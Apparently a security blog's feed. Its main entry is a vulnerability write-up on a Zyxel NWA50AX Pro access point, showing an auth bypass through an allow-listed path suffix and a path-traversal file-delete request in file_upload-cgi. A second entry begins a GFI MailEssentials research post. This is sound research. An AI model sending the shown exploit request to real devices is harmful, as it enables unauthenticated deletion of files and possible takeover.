<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="/feed.xml" rel="self" type="application/atom+xml" /><link href="/" rel="alternate" type="text/html" /><updated>2025-06-17T21:10:22+00:00</updated><id>/feed.xml</id><title type="html">Frycos Security Diary</title><subtitle>Blogging mainly</subtitle><entry><title type="html">Zyxel NWA50AX Pro - Discovery of an Nday Variant</title><link href="/vulns4free/2025/06/17/zyxel-nday-variant.html" rel="alternate" type="text/html" title="Zyxel NWA50AX Pro - Discovery of an Nday Variant" /><published>2025-06-17T01:00:00+00:00</published><updated>2025-06-17T01:00:00+00:00</updated><id>/vulns4free/2025/06/17/zyxel-nday-variant</id><content type="html" xml:base="/vulns4free/2025/06/17/zyxel-nday-variant.html"><![CDATA[<p>Today was an eventful day thanks to many interesting blog posts, e.g. from my <a href="https://labs.watchtowr.com/is-b-for-backdoor-pre-auth-rce-chain-in-sitecore-experience-platform/">friends at watchTowr</a>. So I thought, why not publish a small quick-and-dirty blog post myself about a story from last week? This blog post may not be of the usual quality, but it was a good time to write it.</p>

<p>A few days ago I went on vacation in the mountains. Relaxing on green meadows, breathing in the mountain air and a hike every day to recharge my batteries from vulnerability research (VR). Getting away from work in the meantime turned out to be difficult once again, at least for one evening. After a long day on my feet, I would sit with a beer in the late night and stare around the apartment with satisfaction. Suddenly, I spotted this little buddy. It’s name was <strong>Zyxel NWA50AX Pro</strong>, <a href="https://www.zyxel.com/global/en/products/wireless/ax3000-4-stream-wifi-6-dual-radio-nebulaflex-access-point-nwa50ax-pro">a multi-gig WiFi 6 access point for small businesses</a>.</p>

<p style="text-align: center;"><img src="/assets/images/zyxel/zyxel_device.png" alt="Zyxel Device" /></p>

<p>This story will later explain the twist from 0day euphoria to nday but I don’t want to anticipate too much at this stage.</p>

<h1 id="gathering-information">Gathering Information</h1>

<p>I started asking Google about this device a bit and of course searched for publicly known vulnerabilities. A few were found, even with critical rating, injecting things into
host headers, cookies etc. Without being biased, I began searching for the firmware which was quickly found <a href="https://www.zyxel.com/global/en/support/download?model=nwa50ax-pro">here</a>.
Feeding my <a href="https://unblob.org/">unblob</a> script with it easily revealed a squashfs file system.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>bin  init   mnt      rom              rootfs_data.img_extract  tmp   var
dev  lib    overlay  root             sbin                     usr   www
etc  lib64  proc     rootfs_data.img  sys                      util
</code></pre></div></div>

<p>Browsing through a few directories led me to <code class="language-plaintext highlighter-rouge">/usr/local/</code>.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>bin  lighttpd  sbin  ssl  zyxel-diaginfo  zyxel-gui
</code></pre></div></div>

<p><a href="https://www.lighttpd.net/">lighttpd</a> is a well-known web server used for embedded devices, so in the corresponding <code class="language-plaintext highlighter-rouge">conf</code> directory usually lies the config file <code class="language-plaintext highlighter-rouge">lighttpd.conf</code>.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>var.log_root = "/var/log"
var.server_root = "/usr/local/lighttpd"
var.state_dir = "/var/run"
var.conf_dir = "/usr/local/lighttpd/conf"

server.tag = ""
server.document-root = "/usr/local/zyxel-gui/htdocs"
server.errorlog = log_root + "/error.log"
server.pid-file = state_dir + "/lighttpd.pid"
server.stat-cache-engine = "simple"
server.stream-request-body = 2
server.stream-response-body = 2

server.modules = (
  "mod_access",
  "mod_alias",
  "mod_redirect",
  "mod_rewrite",
  "mod_setenv",
  "mod_openssl"
)

index-file.names += (
  "weblogin.cgi", "index.html", "index.htm"
)

$HTTP["url"] =~ "\.pdf$" {
  server.range-requests = "disable"
}

$HTTP["host"] == "nap-slogin.nebula.zyxel.com" {
   url.rewrite-once = ( "^/CP/(.*)" =&gt; "/cgi-bin/tmp/captive-portal/$1")
}

server.follow-symlink = "enable"
server.upload-dirs = ( "/tmp" )

alias.url += ("/pub/" =&gt; "/tmp/daily-report/pub/")
alias.url += ("/lang/" =&gt; "/var/zyxel/lang/")

## Load the module configs.
include "conf.d/mime.conf"
include "conf.d/auth_zyxel.conf"
include "conf.d/setenv.conf"
include "conf.d/cgi.conf"

## Load runtime generated conf
include "/var/zyxel/service_conf/httpd_zld.conf"
include "/var/zyxel/service_conf/portal_used.conf"
</code></pre></div></div>

<p>More configuration files were included via directives such as <code class="language-plaintext highlighter-rouge">auth_zyxel.conf</code> and <code class="language-plaintext highlighter-rouge">cgi.conf</code>.
A bit of browsing on the guest device was all I got, because obviously I didn’t have the opportunity to take the device apart and destroy it.
<code class="language-plaintext highlighter-rouge">.cgi</code> endpoints were quickly spotted in my proxy tool, even on the login page.</p>

<p style="text-align: center;"><img src="/assets/images/zyxel/zyxelbefore.png" alt="Login Page" /></p>

<p>Calling some CGIs was allowed, most of them not: as expected. So how was authentication and authorization handled here? Maybe <code class="language-plaintext highlighter-rouge">auth_zyxel.conf</code> might give us some clues.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>server.modules += ( "mod_auth_zyxel" )

#
# If URL does not match while list patterns below, request will be redirect to this location.
# NOTE: Admin type user will never be redirected.
#
auth_zyxel.AuthZyxelRedirect = "/"

#
# Global URL whilte list pattern
#
auth_zyxel.AuthZyxelSkipPattern	= (
	"/images",
	"/weblogin.cgi",
	"/I18N.js",
	"/language",
	"/logo",
	"/login.cgi",
	"/Clicktocontinue.cgi",
	"/nebula_ap_redirect.cgi",
	"/logout.cgi",
	"/find_me.cgi",
	"/social_login.cgi",
	"/nebula_ga_auth.cgi",
	"/userdata.html",
	"/jquery-3.2.1.min.js",
	"/tmp/captive-portal/",
	"/CP/",
	"/limit.html",
	"/fbwifi_forward.cgi",
	"/fbwifi_auth.cgi",
	"/fbwifi_continue.cgi",
	"/fbwifi_error.cgi",
	"/cdr.cgi",
	"/ip_reputation_block.cgi",
	"/dns_filter.cgi",
	"/cloud_idp_login.cgi"
)

#
# User or Guest type user whilte list pattern
#
auth_zyxel.AuthZyxelSkipUserPattern = ( 
	"/setuser.cgi",
	"/grant_access.html",
	"/cgi-bin/",
	"/frame_access.html",
	"/dummy.html"
)
</code></pre></div></div>

<p>Without really knowing anything about this target, words like <em>AuthZyxelSkipPattern</em> and <em>AuthZyxelSkipUserPattern</em> clearly trigger our VR senses.
The blackbox guy in me simply put all these paths into a word list and tried to <a href="https://github.com/ffuf/ffuf">ffuf</a> anything interesting out of it.
Surprisingly, instead of a 302 status code suddenly some 200/400/500 appeared out of nothing. The permutation of <code class="language-plaintext highlighter-rouge">/yourenotallowedtoaccess.cgi/images</code>
gave access to the CGI binaries’ logic from an unauthenticated context.</p>

<h1 id="lighttpd-questions">lighttpd Questions</h1>

<p>I was asking myself: is this a Zyxel thing or intended behavior in lighttpd configurations? We needed some testing ground, didn’t we?
Docker is our friend for quick setups.</p>

<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="na">lighttpd</span><span class="pi">:</span>
  <span class="na">image</span><span class="pi">:</span> <span class="s">sebp/lighttpd</span>
  <span class="na">volumes</span><span class="pi">:</span>
    <span class="pi">-</span> <span class="s">/home/temp/lighttpdCGI/home:/var/www/localhost/htdocs</span>
    <span class="pi">-</span> <span class="s">/home/temp/lighttpdCGI/config:/etc/lighttpd</span>
  <span class="na">ports</span><span class="pi">:</span>
    <span class="pi">-</span> <span class="s2">"</span><span class="s">8181:80"</span>
  <span class="na">tty</span><span class="pi">:</span> <span class="no">true</span>
</code></pre></div></div>

<p>How does a proper CGI configuration with lighttpd look like: read <a href="https://redmine.lighttpd.net/projects/lighttpd/wiki/Mod_cgi">official documentation</a>.
Using the Docker image author’s <a href="https://github.com/spujadas/lighttpd-docker">GitHub configuration files</a>, I made some modifications making it CGI aware.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>var.server_root = "/var/www/localhost/htdocs"

server.modules = (
SNIP
    "mod_alias",
SNIP
    "mod_cgi"
)

alias.url += ( "/cgi-bin" =&gt; server_root + "/cgi-bin" )
$HTTP["url"] =~ "/cgi-bin/" {
    cgi.assign = ( "" =&gt; "" )
}

cgi.assign     = (
    ".cgi" =&gt; ""
)
</code></pre></div></div>

<p>Then in our <code class="language-plaintext highlighter-rouge">home/cgi-bin</code> directory, we put a very simple CGI program</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">&lt;iostream&gt;</span><span class="cp">
</span><span class="k">using</span> <span class="k">namespace</span> <span class="n">std</span><span class="p">;</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">()</span>
<span class="p">{</span>
    <span class="n">cout</span><span class="o">&lt;&lt;</span><span class="s">"Content-type: text/plain"</span><span class="o">&lt;&lt;</span><span class="n">endl</span><span class="o">&lt;&lt;</span><span class="n">endl</span><span class="p">;</span>
    <span class="n">cout</span><span class="o">&lt;&lt;</span><span class="s">"Hello World!"</span><span class="o">&lt;&lt;</span><span class="n">endl</span><span class="p">;</span>
 
    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>compiled with <code class="language-plaintext highlighter-rouge">gcc</code> statically on our host system and copied over. Starting the Docker container, and testing <code class="language-plaintext highlighter-rouge">/cgi-bin/test.cgi</code> versus <code class="language-plaintext highlighter-rouge">/cgi-bin/test.cgi/hiking</code>
gave the same results: the CGI was executed for both variants. Ok, that was enough of a proof for me to proceed with the Zyxel device.</p>

<h1 id="hunting-the-proper-cgi">Hunting the Proper CGI</h1>

<p>Now, we could reach probably any CGI binary without authentication, I started searching for interesting functions in each of them manually.
All binaries found in <code class="language-plaintext highlighter-rouge">/usr/local/lighttpd/cgi-bin</code> were put into Ghidra for a proper inspection. After an hour or so I landed at <code class="language-plaintext highlighter-rouge">file_upload-cgi</code>.
Would it have been a good idea to search for this CGI binary name now if someone else did some VR work already? Naaaaah, I’m on vacation so the serious
VR methodologies didn’t apply to me.</p>

<p>The <code class="language-plaintext highlighter-rouge">entry</code> export was calling the function <code class="language-plaintext highlighter-rouge">FUN_001016a0</code>. I’ll walk you through the interesting parts step by step. Be aware that I of course renamed
quite a few variables for explanatory reasons.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  <span class="k">if</span> <span class="p">(</span><span class="n">iVar2</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">request</span> <span class="o">=</span> <span class="n">qcgireq_setoption</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="o">&amp;</span><span class="n">DAT_SlashTmp</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="n">qcgireq_setoption</span><span class="p">);</span> <span class="c1">// [1]</span>
    <span class="k">if</span> <span class="p">((</span><span class="n">request</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="o">||</span> <span class="p">(</span><span class="n">request</span> <span class="o">=</span> <span class="n">qcgireq_parse</span><span class="p">(</span><span class="n">request</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="n">qcgireq_parse</span><span class="p">),</span> <span class="n">request</span> <span class="o">==</span> <span class="mi">0</span><span class="p">))</span> <span class="p">{</span>
      <span class="n">uVar3</span> <span class="o">=</span> <span class="mh">0xffff9e58</span><span class="p">;</span>
<span class="nl">LAB_00101998:</span>
      <span class="n">FUN_0010229c</span><span class="p">(</span><span class="n">local_2808</span><span class="p">,</span><span class="n">uVar3</span><span class="p">);</span>
      <span class="k">goto</span> <span class="n">LAB_00101778</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="n">DAT_00114260</span> <span class="o">=</span> <span class="p">(</span><span class="o">**</span><span class="p">(</span><span class="n">code</span> <span class="o">**</span><span class="p">)(</span><span class="n">request</span> <span class="o">+</span> <span class="mh">0x48</span><span class="p">))(</span><span class="n">request</span><span class="p">,</span><span class="o">&amp;</span><span class="n">DAT_00102d2c</span><span class="p">);</span> <span class="c1">// [2]</span>
    <span class="n">snprintf</span><span class="p">(</span><span class="n">acStack_2408</span><span class="p">,</span><span class="mh">0x400</span><span class="p">,</span><span class="s">"%s.length"</span><span class="p">,</span><span class="s">"file_path"</span><span class="p">);</span>
    <span class="n">iVar2</span> <span class="o">=</span> <span class="p">(</span><span class="o">**</span><span class="p">(</span><span class="n">code</span> <span class="o">**</span><span class="p">)(</span><span class="n">request</span> <span class="o">+</span> <span class="mh">0x48</span><span class="p">))(</span><span class="n">request</span><span class="p">,</span><span class="n">acStack_2408</span><span class="p">);</span> <span class="c1">// [3]</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">iVar2</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span> <span class="c1">// [4]</span>
      <span class="n">uVar3</span> <span class="o">=</span> <span class="mh">0xffff9e57</span><span class="p">;</span>
      <span class="k">goto</span> <span class="n">LAB_00101998</span><span class="p">;</span>
    <span class="p">}</span>
</code></pre></div></div>

<p>At [1] the content of a request was stored at the address of the variable <code class="language-plaintext highlighter-rouge">request</code>. A certain query parameter was then read at [2] (<code class="language-plaintext highlighter-rouge">nv</code> in this case)
or even more interesting <code class="language-plaintext highlighter-rouge">file_path</code> at [3]. If the query parameter wasn’t set, <code class="language-plaintext highlighter-rouge">iVar2</code> was equal to 0 and we would hit the branch at [4].
<code class="language-plaintext highlighter-rouge">uVar3</code> held an error code and got returned in the response. This was super convenient from my “static analysis and blackbox device access” perspective.</p>

<p>This code was a recurring pattern of this function and so I could simply control which branch my request was running into depending on the response error codes.
E.g. by not setting any parameters with a simple GET request to <code class="language-plaintext highlighter-rouge">/cgi-bin/file_upload-cgi/images</code>, the following page was returned.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>HTTP/2 200 OK
Content-Type: text/html
SNIP

&lt;html&gt;&lt;head&gt;&lt;/head&gt;&lt;body&gt;
&lt;script type="text/javascript"&gt;
var errno0=-25001; var errmsg0="Warning ULCGI no any text typed!";
top.frames[2].frames[1].document.(null).return_errno.value=errno0; top.frames[2].frames[1].document.(null).return_errmsg.value=errmsg0;
&lt;/script&gt;
&lt;/body&gt;&lt;/html&gt;
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">errno0=-25001</code> corresponds to exactly one of the error codes of <code class="language-plaintext highlighter-rouge">uVar3</code>. Flowing through the functions’ code from top to bottom, I stopped at this.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">file_path</span> <span class="o">=</span> <span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="p">)(</span><span class="o">**</span><span class="p">(</span><span class="n">code</span> <span class="o">**</span><span class="p">)(</span><span class="n">request</span> <span class="o">+</span> <span class="mh">0x30</span><span class="p">))(</span><span class="n">request</span><span class="p">,</span><span class="s">"file_path"</span><span class="p">,</span><span class="mi">0</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="n">file_path</span> <span class="o">==</span> <span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="mh">0x0</span><span class="p">)</span> <span class="p">{</span>
  <span class="n">uVar3</span> <span class="o">=</span> <span class="mh">0xffff9e58</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">else</span> <span class="p">{</span>
  <span class="n">snprintf</span><span class="p">(</span><span class="n">acStack_2008</span><span class="p">,</span><span class="mh">0x1000</span><span class="p">,</span><span class="s">"%s/%s"</span><span class="p">,</span><span class="o">&amp;</span><span class="n">DAT_SlashTmp</span><span class="p">,</span><span class="n">file_path</span><span class="p">.</span><span class="n">filename</span><span class="p">,</span><span class="n">snprintf</span><span class="p">);</span> <span class="c1">// [7]</span>
  <span class="n">unlink</span><span class="p">(</span><span class="n">acStack_2008</span><span class="p">);</span> <span class="c1">// [5]</span>
  <span class="n">rename</span><span class="p">(</span><span class="n">file_path</span><span class="p">,</span><span class="n">acStack_2008</span><span class="p">);</span> <span class="c1">// [6]</span>
  <span class="n">iVar2</span> <span class="o">=</span> <span class="n">strcmp</span><span class="p">(</span><span class="n">__s1</span><span class="p">,</span><span class="s">"firmware"</span><span class="p">);</span>
</code></pre></div></div>

<p>An <code class="language-plaintext highlighter-rouge">unlink</code> call at [5] (basically a file delete) and a following <code class="language-plaintext highlighter-rouge">rename</code> [5] had piqued my interest. In addition, at [7] my user-controlled <code class="language-plaintext highlighter-rouge">file_path.filename</code>
query parameter was concatenated to a static path prefix via <code class="language-plaintext highlighter-rouge">snprintf</code>. Smells like path traversal, doesn’t it? As indicated by my renamed variable <code class="language-plaintext highlighter-rouge">DAT_SlashTmp</code>,
this was a static value of <code class="language-plaintext highlighter-rouge">/tmp</code>, probably enabling me to traverse out of the intended context: <code class="language-plaintext highlighter-rouge">/tmp/../../../im/a/hackerman</code>.</p>

<h1 id="exploitation-success">Exploitation Success</h1>

<p>Response error code debugging led me to the following POST request, hopefully deleting (thanks to <code class="language-plaintext highlighter-rouge">unlink</code>) the logo PNG file used at the login page.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>POST /cgi-bin/file_upload-cgi/images HTTP/1.1
Host: TARGET
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 230

file_path=/usr/local/zyxel-gui/htdocs/ext-js/web-pages/login/images/login_logo.png&amp;nv=a&amp;file_path.length=48&amp;file_type=certlocal&amp;vn=b&amp;file_path.filename=../usr/local/zyxel-gui/htdocs/ext-js/web-pages/login/images/login_logo.png
</code></pre></div></div>

<p>After firing the request, a direct comparison of the original login page</p>

<p style="text-align: center;"><img src="/assets/images/zyxel/zyxelbefore.png" alt="Before" /></p>

<p>revealed a successful deletion.</p>

<p style="text-align: center;"><img src="/assets/images/zyxel/zyxelafter.png" alt="Before" /></p>

<p>With an arbitrary file delete primitive alone, several further attacks should have been possible. Especially by abusing the <code class="language-plaintext highlighter-rouge">rename</code> call afterwards, this should
give us another primitive of deleting a file and being replaced by, let’s say, a backup’d version (password file *cough*).</p>

<h1 id="impact">Impact</h1>

<p>Alright, we didn’t see any related CVEs in the last years for <strong>this special device</strong> but could I find them on the public internet as well?
Luckily, some were easily identified in no time. Vulnerable test as easy as sending a GET request to <code class="language-plaintext highlighter-rouge">/cgi-bin/file_upload-cgi/images</code> with a response
similar to the one mentioned above. The one in my apartment was vulnerable indeed, as were &gt;80% of the 42 devices I found. I didn’t test the non-Pro version devices
for which CensysIO returns over 200. But what about the Pro devices returning 400 instead?</p>

<p>Doing VR without following the standard methodologies might not had been my best idea, as it turned out. Searching for the 400 status code in Ghidra gave me this.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nl">LAB_00101784:</span>
  <span class="k">if</span> <span class="p">(</span><span class="n">local_2808</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">!=</span> <span class="sc">'\0'</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">puts</span><span class="p">(</span><span class="s">"Content-Type: text/html</span><span class="se">\r\n\r</span><span class="s">"</span><span class="p">);</span>
    <span class="n">puts</span><span class="p">(</span><span class="s">"&lt;html&gt;&lt;head&gt;&lt;/head&gt;&lt;body&gt;</span><span class="se">\r</span><span class="s">"</span><span class="p">);</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">DAT_00114260</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
      <span class="n">puts</span><span class="p">(</span><span class="s">"&lt;script type=</span><span class="se">\"</span><span class="s">text/javascript</span><span class="se">\"</span><span class="s">&gt;</span><span class="se">\r</span><span class="s">"</span><span class="p">);</span>
    <span class="p">}</span>
</code></pre></div></div>

<p>How did I hit this code then? At the very top of my main function, even before the deeply investigated <code class="language-plaintext highlighter-rouge">if</code> branch which I successfully exploited a few minutes ago…</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  <span class="n">iVar2</span> <span class="o">=</span> <span class="n">VRDuringVacation</span><span class="p">();</span>
  <span class="k">if</span> <span class="p">(</span><span class="n">iVar2</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span> <span class="c1">// iVar2 could be 6 :-P</span>
	<span class="c1">// I want to get here!!</span>
</code></pre></div></div>

<p>the <code class="language-plaintext highlighter-rouge">VRDuringVacation</code> checked for auth cookies.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  <span class="n">__cp</span> <span class="o">=</span> <span class="n">getenv</span><span class="p">(</span><span class="s">"REMOTE_ADDR"</span><span class="p">);</span>
  <span class="n">pcVar2</span> <span class="o">=</span> <span class="n">getenv</span><span class="p">(</span><span class="s">"HTTP_COOKIE"</span><span class="p">);</span> <span class="c1">// [8]</span>
  <span class="k">if</span> <span class="p">((</span><span class="n">pcVar2</span> <span class="o">!=</span> <span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="mh">0x0</span><span class="p">)</span> <span class="o">&amp;&amp;</span> <span class="p">(</span><span class="n">pcVar2</span> <span class="o">=</span> <span class="n">strstr</span><span class="p">(</span><span class="n">pcVar2</span><span class="p">,</span><span class="s">"authtok="</span><span class="p">),</span> <span class="n">pcVar2</span> <span class="o">!=</span> <span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="mh">0x0</span><span class="p">))</span> <span class="p">{</span> <span class="c1">// [9]</span>
    <span class="n">strlcpy</span><span class="p">(</span><span class="o">&amp;</span><span class="n">local_418</span><span class="p">,</span><span class="n">pcVar2</span> <span class="o">+</span> <span class="mi">8</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="n">strlcpy</span><span class="p">);</span>
    <span class="n">iVar1</span> <span class="o">=</span> <span class="n">inet_pton</span><span class="p">(</span><span class="mi">2</span><span class="p">,</span><span class="n">__cp</span><span class="p">,</span><span class="n">local_430</span><span class="p">);</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">iVar1</span> <span class="o">==</span> <span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
      <span class="n">iVar1</span> <span class="o">=</span> <span class="n">uam_find_first_match</span>
                        <span class="p">(</span><span class="n">auStack_3d0</span><span class="p">,</span><span class="s">"http/https"</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="n">local_430</span><span class="p">[</span><span class="mi">0</span><span class="p">],</span><span class="o">&amp;</span><span class="n">local_418</span><span class="p">,</span><span class="n">uam_find_first_match</span><span class="p">);</span>
    <span class="p">}</span>
    <span class="k">else</span> <span class="p">{</span>
      <span class="n">iVar1</span> <span class="o">=</span> <span class="n">inet_pton</span><span class="p">(</span><span class="mi">10</span><span class="p">,</span><span class="n">__cp</span><span class="p">,</span><span class="n">auStack_428</span><span class="p">);</span>
      <span class="k">if</span> <span class="p">(</span><span class="n">iVar1</span> <span class="o">!=</span> <span class="mi">1</span><span class="p">)</span> <span class="k">goto</span> <span class="n">LAB_00102338</span><span class="p">;</span>
      <span class="n">iVar1</span> <span class="o">=</span> <span class="n">uam_find_first_match6</span>
                        <span class="p">(</span><span class="n">auStack_3d0</span><span class="p">,</span><span class="s">"http/https"</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="n">auStack_428</span><span class="p">,</span><span class="o">&amp;</span><span class="n">local_418</span><span class="p">,</span><span class="n">uam_find_first_match6</span><span class="p">);</span>
    <span class="p">}</span>
    <span class="k">if</span> <span class="p">(</span><span class="mi">0</span> <span class="o">&lt;</span> <span class="n">iVar1</span><span class="p">)</span> <span class="k">goto</span> <span class="n">LAB_0010233c</span><span class="p">;</span>
  <span class="p">}</span>
<span class="n">LAB_00102338</span><span class="o">:</span>
  <span class="n">local_277</span> <span class="o">=</span> <span class="mi">6</span><span class="p">;</span> <span class="c1">// [10]</span>
<span class="n">LAB_0010233c</span><span class="o">:</span>
  <span class="k">if</span> <span class="p">(</span><span class="n">local_8</span> <span class="o">==</span> <span class="n">___stack_chk_guard</span><span class="p">)</span> <span class="p">{</span>
    <span class="k">return</span> <span class="n">local_277</span><span class="p">;</span> <span class="c1">// // [11]</span>
  <span class="p">}</span>
                    <span class="cm">/* WARNING: Subroutine does not return */</span>
  <span class="n">__stack_chk_fail</span><span class="p">(</span><span class="n">__stack_chk_fail</span><span class="p">);</span>
</code></pre></div></div>

<p>It retrieved the cookie at [8], checked for the substring <code class="language-plaintext highlighter-rouge">authtok=</code> [9], and set the return value to 6 [10] [11] eventually. I didn’t even check the implementations for
<code class="language-plaintext highlighter-rouge">uam_find_first_match</code> or <code class="language-plaintext highlighter-rouge">uam_find_first_match6</code> to realize that some patching had taken place on this latest version of the firmware.</p>

<h1 id="sometimes-truth-hits-hard">Sometimes Truth Hits Hard</h1>

<p>I had now spent four hours in the glorious night on these beautiful mountains analyzing this device. My Google-fu maybe wasn’t good enough.
Indeed, after another half an hour an excellent Outpost24 blog post written by Timothy Hjort about <a href="https://outpost24.com/blog/zyxel-nas-critical-vulnerabilities/">“Five new vulnerabilities found in Zyxel NAS devices (including code execution and privilege escalation)”</a> from June 2024 popped up. But wait…<strong>Zyxel NAS</strong> devices? Of course, this excuse came in handy late at night.
It was bit harder to infer from NAS to NWA50AX Pro vulnerabilities. I highly recommend everyone to read Timothy’s blog post and you’ll see that he also took some other approaches
for his CVE-2024-29974 containing parts of <code class="language-plaintext highlighter-rouge">file_upload-cgi</code>. Even more interesting to read after my work was done.</p>

<h1 id="conclusions">Conclusions</h1>

<p>Vacation and VR combined? No such as great idea. BUT I’ve learnt a ton of new things and also found an nday variant because I’m not sure if there are any related publicly known
vulnerabilities (e.g. CVEs) for all these affected <strong>Zyxel NWA50AX Pro</strong> devices. Vendors with a large repertoire of products typically share large amount of code bases.
This can lead to a lot of confusion for vulnerability management people, especially in our CVE-centric world.</p>

<p>This weekend, I’m going on another hiking trip, but my laptop(s) will stay at home.</p>]]></content><author><name></name></author><category term="vulns4free" /><summary type="html"><![CDATA[Today was an eventful day thanks to many interesting blog posts, e.g. from my friends at watchTowr. So I thought, why not publish a small quick-and-dirty blog post myself about a story from last week? This blog post may not be of the usual quality, but it was a good time to write it.]]></summary></entry><entry><title type="html">GFI MailEssentials - Yet Another .NET Target</title><link href="/vulns4free/2025/04/28/mailessentials.html" rel="alternate" type="text/html" title="GFI MailEssentials - Yet Another .NET Target" /><published>2025-04-28T01:00:00+00:00</published><updated>2025-04-28T01:00:00+00:00</updated><id>/vulns4free/2025/04/28/mailessentials</id><content type="html" xml:base="/vulns4free/2025/04/28/mailessentials.html"><![CDATA[<p>What is this product <em>GFI MailEssentials</em> all about? We’re living the future, right? So let’s ask the GFI AI.</p>

<p style="text-align: center;"><img src="/assets/images/mailessentials/gfiblog_introduction.png" alt="GFI MailEssentials Introduction" /></p>

<p>Since we’re doing security research here, why not asking about the disclosure process as well?</p>

<p style="text-align: center;"><img src="/assets/images/mailessentials/gfiblog_howtodisclose.png" alt="GFI Vulnerability Disclosure" /></p>

<p>Sounds good. Spoiler: it didn’t work this way but in the end disclosure did take place in January 2025 on another channel.</p>

<h1 id="setup">Setup</h1>

<p>The setup process turned out to be quite easy. One can simply get a <a href="https://gfi.ai/products-and-solutions/network-security-solutions/mailessentials/free-trial">free trial</a> version
on GFI’s company website after providing some data for registration. Since the product’s main purpose is email content processing and as the setup suggested, I first thought about installing a Microsoft Exchange
server. Luckily, I read the <a href="https://gfi.ai/products-and-solutions/network-security-solutions/mailessentials/resources/documentation/system-requirements">system requirements</a>
in advance which stated:</p>

<blockquote>
  <p>Microsoft IIS SMTP service or Microsoft Exchange Server 2010/2013/2016</p>
</blockquote>

<p>So how to install Microsoft’s IIS SMTP service instead. After some googling I found this snippet for PowerShell:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Import-Module Servermanager
Add-WindowsFeature SMTP-Server
</code></pre></div></div>

<p>You could probably do the same via the Server Manager UI. After completing the wizards, everything seemed to work fine.</p>

<h1 id="technology-stack-enumeration">Technology Stack Enumeration</h1>

<p>Starting the <code class="language-plaintext highlighter-rouge">inetmgr</code>, I observed two new application pools, <code class="language-plaintext highlighter-rouge">MailEssentials</code> and <code class="language-plaintext highlighter-rouge">MailEssentials_Services</code>. Beneath, three applications were found.</p>

<p style="text-align: center;"><img src="/assets/images/mailessentials/gfiblog_inetmgr.png" alt="inetmgr" /></p>

<p>A right click on one of the applications gives a context menu with an “Explore” entry, automatically opening the webroot of the targeted application in your file browser.</p>

<p style="text-align: center;"><img src="/assets/images/mailessentials/gfiblog_inetmgrexplore.png" alt="inetmgr Explore" /></p>

<p>I always like to browse through the related directories to learn about the technology stack first. I.e. collecting all kind of file types, look into configuration files etc.
Some facts I found are shown next, mainly read from <code class="language-plaintext highlighter-rouge">C:\Program Files (x86)\GFI\MailEssentials\wwwconf\web.config</code>:</p>

<ul>
  <li>Learn about predefined application setting values in <code class="language-plaintext highlighter-rouge">&lt;appSettings&gt;</code></li>
  <li>Find HTTP Modules in <code class="language-plaintext highlighter-rouge">&lt;httpModules&gt;</code> sections; these are usually triggered for every request (a nice pre-auth attack surface opportunity)</li>
  <li>Look for HTTP Handlers in <code class="language-plaintext highlighter-rouge">&lt;httpHandlers&gt;</code> sections, defining e.g. which file extension in an URI path might be handled by which .NET class</li>
  <li>In general, <code class="language-plaintext highlighter-rouge">&lt;add assembly="[PLACEHOLDER]" /&gt;</code> is obviously a good indicator which .NET Assemblies are in use</li>
  <li>Authorization indicators are found in <code class="language-plaintext highlighter-rouge">&lt;authorization&gt;</code> sections</li>
  <li><code class="language-plaintext highlighter-rouge">&lt;system.serviceModel&gt;</code> section often hold information about web services, their endpoints and their implementing classes</li>
</ul>

